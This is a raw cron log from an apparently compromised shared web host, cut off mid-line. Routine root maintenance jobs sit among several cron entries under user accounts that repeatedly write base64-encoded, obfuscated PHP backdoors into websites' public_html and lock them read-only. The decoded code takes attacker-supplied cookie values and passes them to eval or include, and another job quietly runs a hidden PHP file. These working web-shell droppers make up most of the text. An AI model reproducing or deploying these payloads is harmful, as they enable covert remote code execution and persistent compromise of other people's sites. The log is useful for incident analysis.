Mar  2 04:33:02 medusa CROND[21150]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:33:02 medusa CROND[21153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:33:02 medusa CROND[21160]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:33:02 medusa CROND[21161]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:33:02 medusa CROND[21163]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:33:02 medusa CROND[21164]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:33:02 medusa CROND[21174]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:34:01 medusa CROND[7684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:34:01 medusa CROND[7906]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:34:01 medusa CROND[7907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:34:01 medusa CROND[7908]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:34:01 medusa CROND[7909]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:34:01 medusa CROND[7914]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:34:01 medusa CROND[7915]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:34:01 medusa CROND[7916]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:34:01 medusa CROND[7917]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:34:01 medusa CROND[7919]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:34:01 medusa CROND[7920]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:34:01 medusa CROND[7923]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:34:01 medusa CROND[7933]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:35:01 medusa CROND[26012]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:35:01 medusa CROND[26017]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:35:01 medusa CROND[26156]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:35:01 medusa CROND[26286]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:35:01 medusa CROND[26288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:35:01 medusa CROND[26289]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:35:01 medusa CROND[26290]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:35:01 medusa CROND[26298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:35:01 medusa CROND[26299]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:35:01 medusa CROND[26300]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgL